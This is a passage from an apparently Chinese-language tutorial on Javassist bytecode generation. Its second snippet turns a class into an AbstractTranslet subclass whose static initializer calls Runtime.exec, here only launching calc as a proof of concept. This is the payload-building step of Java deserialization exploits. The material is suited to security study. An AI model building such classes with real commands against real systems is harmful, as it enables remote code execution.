ctClass.addField(ctField2);

CtConstructor constructor1 = new CtConstructor(new CtClass[]{classPool.get(String.class.getName()),classPool.get(int.class.getName())},ctClass);
constructor1.setBody("{this.str = $1;\nthis.number = $2;\nSystem.out.println(\"构造函数内\");}");
ctClass.addConstructor(constructor1);


CtMethod ctMethod = CtMethod.make("public int test(){return this.number;}",ctClass);
ctMethod.setModifiers(Modifier.PRIVATE);
ctClass.addMethod(ctMethod);

ctClass.writeFile();

修改类:

1
2
3
4
5
6
7
8
9
10
11
        ClassPool classPool = ClassPool.getDefault();
// CtClass ctClass = classPool.makeClass("evil");
CtClass ctClass = classPool.get("org.example.MyInvocationHandlerTest");
String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//设置父类

CtConstructor constructor = ctClass.makeClassInitializer();//定义类初始化
constructor.insertBefore(code);//写静态代码块


ctClass.writeFile("MyInvocationHandlerTestOutPut");

具体用法后面用到再说,这个工具还是很方便的。